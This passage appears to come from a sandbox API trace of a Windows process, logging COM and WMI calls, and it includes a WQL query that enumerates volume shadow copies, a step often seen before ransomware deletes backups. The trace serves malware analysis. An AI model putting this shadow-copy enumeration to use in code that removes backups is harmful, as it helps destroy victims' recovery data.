Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e56c | out: ppvObject=0x5e8e56c*=0x77015c) returned 0x0 [0111.690] WbemLocator:IUnknown:QueryInterface (in: This=0x77015c, riid=0x74934204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8e528 | out: ppvObject=0x5e8e528*=0x0) returned 0x80004002 [0111.730] WbemLocator:IUnknown:QueryInterface (in: This=0x77015c, riid=0x74860b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8e41c | out: ppvObject=0x5e8e41c*=0x0) returned 0x80004002 [0112.062] WbemLocator:IUnknown:AddRef (This=0x77015c) returned 0x3 [0112.062] CoGetContextToken (in: pToken=0x5e8e3b4 | out: pToken=0x5e8e3b4) returned 0x0 [0112.062] WbemLocator:IUnknown:QueryInterface (in: This=0x77015c, riid=0x748123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e39c | out: ppvObject=0x5e8e39c*=0x7700bc) returned 0x0 [0112.063] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x7700bc, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8e3a4 | out: pCid=0x5e8e3a4*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.063] WbemLocator:IUnknown:Release (This=0x7700bc) returned 0x3 [0112.064] CoGetContextToken (in: pToken=0x5e8e3ac | out: pToken=0x5e8e3ac) returned 0x0 [0112.064] WbemLocator:IUnknown:AddRef (This=0x77015c) returned 0x4 [0112.064] WbemLocator:IUnknown:QueryInterface (in: This=0x77015c, riid=0x7486767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e420 | out: ppvObject=0x5e8e420*=0x770144) returned 0x0 [0112.065] WbemLocator:IUnknown:Release (This=0x77015c) returned 0x4 [0112.065] WbemLocator:IRpcOptions:Query (in: This=0x770144, pPrx=0x77015c, dwProperty=2, pdwValue=0x5e8e444 | out: pdwValue=0x5e8e444) returned 0x80004002 [0112.065] WbemLocator:IUnknown:Release (This=0x770144) returned 0x3 [0112.066] WbemLocator:IUnknown:Release (This=0x77015c) returned 0x2 [0112.067] CoGetContextToken (in: pToken=0x5e8e820 | out: pToken=0x5e8e820) returned 0x0 [0112.067] CoGetContextToken (in: pToken=0x5e8e7e0 | out: pToken=0x5e8e7e0) returned 0x0 [0112.067] WbemLocator:IUnknown:AddRef (This=0x77015c) returned 0x3 [0112.067] WbemLocator:IUnknown:QueryInterface (in: This=0x77015c, riid=0x5e8e85c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5e8e858 | out: ppvObject=0x5e8e858*=0x537d3c4) returned 0x0 [0112.067] WbemLocator:IUnknown:Release (This=0x77015c) returned 0x3 [0112.068] WbemLocator:IUnknown:Release (This=0x537d3c4) returned 0x2 [0112.069] WbemLocator:IUnknown:Release (This=0x537d3c4) returned 0x1 [0112.071] CoGetContextToken (in: pToken=0x5e8f13c | out: pToken=0x5e8f13c) returned 0x0 [0112.071] WbemLocator:IUnknown:AddRef (This=0x77015c) returned 0x2 [0112.072] WbemLocator:IUnknown:QueryInterface (in: This=0x77015c, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ed60 | out: ppvObject=0x5e8ed60*=0x77015c) returned 0x0 [0112.073] WbemLocator:IUnknown:Release (This=0x77015c) returned 0x2 [0112.073] WbemLocator:IUnknown:Release (This=0x77015c) returned 0x1 [0112.073] CoGetContextToken (in: pToken=0x5e8e940 | out: pToken=0x5e8e940) returned 0x0 [0112.073] CoGetContextToken (in: pToken=0x5e8e900 | out: pToken=0x5e8e900) returned 0x0 [0112.074] WbemLocator:IUnknown:AddRef (This=0x77015c) returned 0x2 [0112.074] WbemLocator:IUnknown:QueryInterface (in: This=0x77015c, riid=0x5e8e97c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5e8e978 | out: ppvObject=0x5e8e978*=0x537d3c4) returned 0x0 [0112.074] WbemLocator:IUnknown:Release (This=0x77015c) returned 0x2 [0112.074] WbemLocator:IUnknown:AddRef (This=0x537d3c4) returned 0x3 [0112.075] IWbemServices:ExecQuery (in: This=0x537d3c4, strQueryLanguage="WQL", strQuery="select * from Win32_Shadowcopy", lFlags=16, pCtx=0x0, ppEnum=0x5e8ef84 | out: ppEnum=0x5e8ef84*=0x537cb34) returned 0x0 [0112.087] IUnknown:QueryInterface (in: This=0x537cb34, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ec30 | out: ppvObject=0x5e8ec30*=0x537cb38) returned 0x0 [0112.087] IClientSecurity:QueryBlanket (in: This=0x537cb38, pProxy=0x537cb34, pAuthnSvc=0x5e8ec78, pAuthzSvc=0x5e8ec74, pServerPrincName=0x5e8ec84, pAuthnLevel=0x5e8ec7c, pImpLevel=0x5e8ec68, pAuthInfo=0x5e8ec6c, pCapabilites=0x5e8ec70 | out: pAuthnSvc=0x5e8ec78*=0xa, pAuthzSvc=0x5e8ec74*=0x0, pServerPrincName=0x5e8ec84, pAuthnLevel=0x5e8ec7c*=0x6, pImpLevel=0x5e8ec68*=0x2, pAuthInfo=0x5e8ec6c, pCapabilites=0x5e8ec70*=0x1) returned 0x0 [0112.087] IUnknown:Release (This=0x537cb38) returned 0x1 [0112.087] IUnknown:QueryInterface (in: This=0x537cb34, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ec24 | out: ppvObject=0x5e8ec24*=0x6931a4) returned 0x0 [0112.088] IUnknown:QueryInterface (in: This=0x537cb34, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ec20 | out: ppvObject=0x5e8ec20*=0x537cb38) returned 0x0 [0112.088] IClientSecurity:SetBlanket (This=0x537cb38, pProxy=0x537cb34, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0112.095] IUnknown:Release (This=0x537cb38) returned 0x2 [0112.095] WbemLocator:IUnknown:Release (This=0x6931a4) returned 0x1 [0112.095] CoTaskMemFree (pv=0x774220) [0112.095] WbemLocator:IUnknown:Release (This=0x537d3c4) returned 0x2 [0112.096] IUnknown:QueryInterface (in: This=0x537cb34, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e5dc | out: ppvObject=0x5e8e5dc*=0x6931a4) returned 0x0 [0112.096] WbemLocator:IUnknown:QueryInterface (in: This=0x6931a4, riid=0x74934204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8e598 | out: ppvObject=0x5e8e598*=0x0) returned 0x80004002 [0112.097] WbemLocator:IUnknown:QueryInterface (in: This=0x6931a4, riid=0x74860b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8e48c | out: ppvObject=0x5e8e48c*=0x0) returned 0x80004002 [0112.098] WbemLocator:IUnknown:AddRef (This=0x6931a4) returned 0x3 [0112.099] CoGetContextToken (in: pToken=0x5e8e424 | out: pToken=0x5e8e424) returned 0x0 [0112.099] WbemLocator:IUnknown:QueryInterface (in: This=0x6931a4, riid=0x748123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e40c | out: ppvObject=0x5e8e40c*=0x693104) returned 0x0 [0112.189] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x693104, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8e414 | out: pCid=0x5e8e414*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.190] WbemLocator:IUnknown:Release (This=0x693104) returned 0x3 [0112.190] CoGetContextToken (in: pToken=0x5e8e41c | out: pToken=0x5e8e41c) returned 0x0 [0112.190] WbemLocator:IUnknown:AddRef (This=0x6931a4) returned 0x4 [0112.190] WbemLocator:IUnknown:QueryInterface (in: This=0x6931a4, riid=0x7486767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e490 | out: ppvObject=0x5e8e490*=0x69318c) returned 0x0 [0112.191] WbemLocator:IUnknown:Release (This=0x6931a4) returned 0x4 [0112.191] WbemLocator:IRpcOptions:Query (in: This=0x69318c, pPrx=0x6931a4, dwProperty=2, pdwValue=0x5e8e4b4 | out: pdwValue=0x5e8e4b4) returned 0x80004002 [0112.191] WbemLocator:IUnknown:Release (This=0x69318c) returned 0x3 [0112.191] WbemLocator:IUnknown:Release (This=0x6931a4) returned 0x2 [0112.192] CoGetContextToken (in: pToken=0x5e8e890 | out: pToken=0x5e8e890) returned 0x0 [0112.192] CoGetContextToken (in: pToken=0x5e8e850 | out: pToken=0x5e8e850) returned 0x0 [0112.192] WbemLocator:IUnknown:AddRef (This=0x6931a4) returned 0x3 [0112.192] WbemLocator:IUnknown:QueryInterface (in: This=0x6931a4, riid=0x5e8e8cc*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5e8e8c8 | out: ppvObject=0x5e8e8c8*=0x537cb34) returned 0x0 [0112.192] WbemLocator:IUnknown:Release (This=0x6931a4) returned 0x3 [0112.193] IUnknown:Release (This=0x537cb34) returned 0x2 [0112.194] IUnknown:Release (This=0x537cb34) returned 0x1 [0112.194] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5370820, puCount=0x5e8f21c | out: puCount=0x5e8f21c*=0x2) returned 0x0 [0112.195] WbemDefPath:IWbemPath:GetText (in: This=0x5370820, lFlags=4, puBuffLength=0x5e8f218*=0x0, pszText=0x0 | out: puBuffLength=0x5e8f218*=0x17, pszText=0x0) returned 0x0 [0112.195] WbemDefPath:IWbemPath:GetText (in: This=0x5370820, lFlags=4, puBuffLength=0x5e8f218*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8f218*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0112.195] CoGetContextToken (in: pToken=0x5e8ebb8 | out: pToken=0x5e8ebb8) returned 0x0 [0112.195] CoGetContextToken (in: pToken=0x5e8eb78 | out: pToken=0x5e8eb78) returned 0x0 [0112.195] WbemLocator:IUnknown:AddRef (This=0x6931a4) returned 0x2 [0112.195] WbemLocator:IUnknown:QueryInterface (in: This=0x6931a4, riid=0x5e8ebf4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5e8ebf0 | out: ppvObject=0x5e8ebf0*=0x537cb34) returned 0x0 [0112.196] WbemLocator:IUnknown:Release (This=0x6931a4) returned 0x2 [0112.196] IUnknown:AddRef (This=0x537cb34) returned 0x3 [0112.196] IEnumWbemClassObject:Clone (in: This=0x537cb34, ppEnum=0x5e8f1ec | out: ppEnum=0x5e8f1ec*=0x537d464) returned 0x0 [0112.200] IUnknown:QueryInterface (in: This=0x537d464, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8eea8 | out: ppvObject=0x5e8eea8*=0x537d468) returned 0x0 [0112.204] IClientSecurity:QueryBlanket (in: This=0x537d468, pProxy=0x537d464, pAuthnSvc=0x5e8eef0, pAuthzSvc=0x5e8eeec, pServerPrincName=0x5e8eefc, pAuthnLevel=0x5e8eef4, pImpLevel=0x5e8eee0, pAuthInfo=0x5e8eee4, pCapabilites=0x5e8eee8 | out: pAuthnSvc=0x5e8eef0*=0xa, pAuthzSvc=0x5e8eeec*=0x0, pServerPrincName=0x5e8eefc, pAuthnLevel=0x5e8eef4*=0x6, pImpLevel=0x5e8eee0*=0x2, pAuthInfo=0x5e8eee4, pCapabilites=0x5e8eee8*=0x1) returned 0x0 [0112.204] IUnknown:Release (This=0x537d468) returned 0x1 [0112.204] IUnknown:QueryInterface (in: This=0x537d464, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ee9c | out: ppvObject=0x5e8ee9c*=0x76d01c) returned 0x0 [0112.205] IUnknown:QueryInterface (in: This=0x537d464, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ee98 | out: ppvObject=0x5e8ee98*=0x537d468) returned 0x0 [0112.205] IClientSecurity:SetBlanket (This=0x537d468, pProxy=0x537d464, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0112.214] IUnknown:Release (This=0x537d468) returned 0x2 [0112.214] WbemLocator:IUnknown:Release (This=0x76d01c) returned 0x1 [0112.215] CoTaskMemFree (pv=0x774220) [0112.215] IUnknown:Release (This=0x537cb34) returned 0x2 [0112.215] IUnknown:QueryInterface (in: This=0x537d464, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e844 | out: ppvObject=0x5e8e844*=0x76d01c) returned 0x0 [0112.216] WbemLocator:IUnknown:QueryInterface (in: This=0x76d01c, riid=0x74934204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8e800 | out: ppvObject=0x5e8e800*=0x0) returned 0x80004002 [0112.217] WbemLocator:IUnknown:QueryInterface (in: This=0x76d01c, riid=0x74860b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8e6f4 | out: ppvObject=0x5e8e6f4*=0x0) returned 0x80004002 [0112.219] WbemLocator:IUnknown:AddRef (This=0x76d01c) returned 0x3 [0112.219] CoGetContextToken (in: pToken=0x5e8e68c | out: pToken=0x5e8e68c) returned 0x0 [0112.219] WbemLocator:IUnknown:QueryInterface (in: This=0x76d01c, riid=0x748123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e674 | out: ppvObject=0x5e8e674*=0x76cf7c) returned 0x0 [0112.219] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x76cf7c, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8e67c | out: pCid=0x5e8e67c*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.220] WbemLocator:IUnknown:Release (This=0x76cf7c) returned 0x3 [0112.220] CoGetContextToken (in: pToken=0x5e8e684 | out: pToken=0x5e8e684) returned 0x0 [0112.220] WbemLocator:IUnknown:AddRef (This=0x76d01c) returned 0x4 [0112.220] WbemLocator:IUnknown:QueryInterface (in: This=0x76d01c, riid=0x7486767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e6f8 | out: ppvObject=0x5e8e6f8*=0x76d004) returned 0x0 [0112.221] WbemLocator:IUnknown:Release (This=0x76d01c) returned 0x4 [0112.223] WbemLocator:IRpcOptions:Query (in: This=0x76d004, pPrx=0x76d01c, dwProperty=2, pdwValue=0x5e8e71c | out: pdwValue=0x5e8e71c) returned 0x80004002 [0112.223] WbemLocator:IUnknown:Release (This=0x76d004) returned 0x3 [0112.231] WbemLocator:IUnknown:Release (This=0x76d01c) returned 0x2 [0112.231] CoGetContextToken (in: pToken=0x5e8eaf8 | out: pToken=0x5e8eaf8) returned 0x0 [0112.231] CoGetContextToken (in: pToken=0x5e8eab8 | out: pToken=0x5e8eab8) returned 0x0 [0112.231] WbemLocator:IUnknown:AddRef (This=0x76d01c) returned 0x3 [0112.231] WbemLocator:IUnknown:QueryInterface (in: This=0x76d01c, riid=0x5e8eb34*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5e8eb30 | out: ppvObject=0x5e8eb30*=0x537d464) returned 0x0 [0112.232] WbemLocator:IUnknown:Release (This=0x76d01c) returned 0x3 [0112.232] IUnknown:Release (This=0x537d464) returned 0x2 [0112.232] IUnknown:Release (This=0x537d464) returned 0x1 [0112.307] CoGetContextToken (in: pToken=0x5e8f0ec | out: pToken=0x5e8f0ec) returned 0x0 [0112.307] CoGetContextToken (in: pToken=0x5e8f0ac | out: pToken=0x5e8f0ac) returned 0x0 [0112.307] WbemLocator:IUnknown:AddRef (This=0x76d01c) returned 0x2 [0112.308] WbemLocator:IUnknown:QueryInterface (in: This=0x76d01c, riid=0x5e8f128*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5e8f124 | out: ppvObject=0x5e8f124*=0x537d464) returned 0x0 [0112.308] WbemLocator:IUnknown:Release (This=0x76d01c) returned 0x2 [0112.308] IUnknown:AddRef (This=0x537d464) returned 0x3 [0112.308] IEnumWbemClassObject:Reset (This=0x537d464) returned 0x0 [0112.359] IUnknown:Release (This=0x537d464) returned 0x2 [0112.371] CoGetContextToken (in: pToken=0x5e8efdc | out: pToken=0x5e8efdc) returned 0x0 [0112.371] IUnknown:AddRef (This=0x537d464) returned 0x3 [0112.371] IEnumWbemClassObject:Next (in: This=0x537d464, lTimeout=-1, uCount=0x1, apObjects=0x757a88, puReturned=0x2ad7d94 | out: apObjects=0x757a88*=0x0, puReturned=0x2ad7d94*=0x0) returned 0x80041014 [0112.673] IUnknown:Release (This=0x537d464) returned 0x2 [0112.683] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5e8f1cc | out: pperrinfo=0x5e8f1cc*=0x537d71c) returned 0x0 [0112.750] IUnknown:QueryInterface (in: This=0x537d71c, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ea3c | out: ppvObject=0x5e8ea3c*=0x537d710) returned 0x0 [0112.751] IUnknown:QueryInterface (in: This=0x537d710, riid=0x74934204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8e9f8 | out: ppvObject=0x5e8e9f8*=0x0) returned 0x80004002 [0112.751] IUnknown:QueryInterface (in: This=0x537d710, riid=0x74860b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8e8ec | out: ppvObject=0x5e8e8ec*=0x0) returned 0x80004002 [0112.751] IUnknown:AddRef (This=0x537d710) returned 0x3 [0112.751] CoGetContextToken (in: pToken=0x5e8e884 | out: pToken=0x5e8e884) returned 0x0 [0112.751] IUnknown:QueryInterface (in: This=0x537d710, riid=0x748123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e86c | out: ppvObject=0x5e8e86c*=0x537d714) returned 0x0 [0112.752] IMarshal:GetUnmarshalClass (in: This=0x537d714, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8e874 | out: pCid=0x5e8e874*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0112.752] IUnknown:Release (This=0x537d714) returned 0x3 [0112.752] CoGetContextToken (in: pToken=0x5e8e87c | out: pToken=0x5e8e87c) returned 0x0 [0112.752] IUnknown:AddRef (This=0x537d710) returned 0x4 [0112.752] IUnknown:QueryInterface (in: This=0x537d710, riid=0x7486767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e8f0 | out: ppvObject=0x5e8e8f0*=0x0) returned 0x80004002 [0112.752] IUnknown:Release (This=0x537d710) returned 0x3 [0112.752] IUnknown:Release (This=0x537d710) returned 0x2 [0112.752] CoGetContextToken (in: pToken=0x5e8ecf0 | out: pToken=0x5e8ecf0) returned 0x0 [0112.752] CoGetContextToken (in: pToken=0x5e8ecb0 | out: pToken=0x5e8ecb0) returned 0x0 [0112.752] IUnknown:AddRef (This=0x537d710) returned 0x3 [0112.753] IUnknown:QueryInterface (in: This=0x537d710, riid=0x5e8ed2c*(Data1=0x1cf2b120, Data2=0x547d, Data3=0x101b, Data4=([0]=0x8e, [1]=0x65, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2b, [6]=0xd1, [7]=0x19)), ppvObject=0x5e8ed28 | out: ppvObject=0x5e8ed28*=0x537d71c) returned 0x0 [0112.753] IUnknown:Release (This=0x537d710) returned 0x3 [0112.753] IUnknown:Release (This=0x537d71c) returned 0x2 [0112.753] IUnknown:Release (This=0x537d71c) returned 0x1 [0112.753] CoGetContextToken (in: pToken=0x5e8f120 | out: pToken=0x5e8f120) returned 0x0 [0112.753] IUnknown:AddRef (This=0x537d710) returned 0x2 [0112.805] IUnknown:QueryInterface (in: This=0x537d710, riid=0x2ad7e2c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8f248 | out: ppvObject=0x5e8f248*=0x537d710) returned 0x0 [0112.805] IUnknown:Release (This=0x537d710) returned 0x2 [0112.806] IIDFromString (in: lpsz="{EB87E1BD-3233-11D2-AEC9-00C04FB68820}", lpiid=0x5e8f124 | out: lpiid=0x5e8f124) returned 0x0 [0112.806] CoGetClassObject (in: rclsid=0x769c54*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x7489a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8f08c | out: ppv=0x5e8f08c*=0x537cb70) returned 0x0 [0112.808] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x537cb70, riid=0x74987ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8eebc | out: ppvObject=0x5e8eebc*=0x0) returned 0x80004002 [0112.809] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x537cb70, pUnkOuter=0x0, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8eef4 | out: ppvObject=0x5e8eef4*=0x5370ad0) returned 0x0 [0112.809] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5370ad0, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ec98 | out: ppvObject=0x5e8ec98*=0x5370ad0) returned 0x0 [0112.809] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5370ad0, riid=0x74934204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8ec54 | out: ppvObject=0x5e8ec54*=0x0) returned 0x80004002 [0112.809] WbemStatusCodeText:IUnknown:AddRef (This=0x5370ad0) returned 0x3 [0112.809] CoGetContextToken (in: pToken=0x5e8eae0 | out: pToken=0x5e8eae0) returned 0x0 [0112.810] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5370ad0, riid=0x748123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8eac8 | out: ppvObject=0x5e8eac8*=0x0) returned 0x80004002 [0112.810] CoGetContextToken (in: pToken=0x5e8ead8 | out: 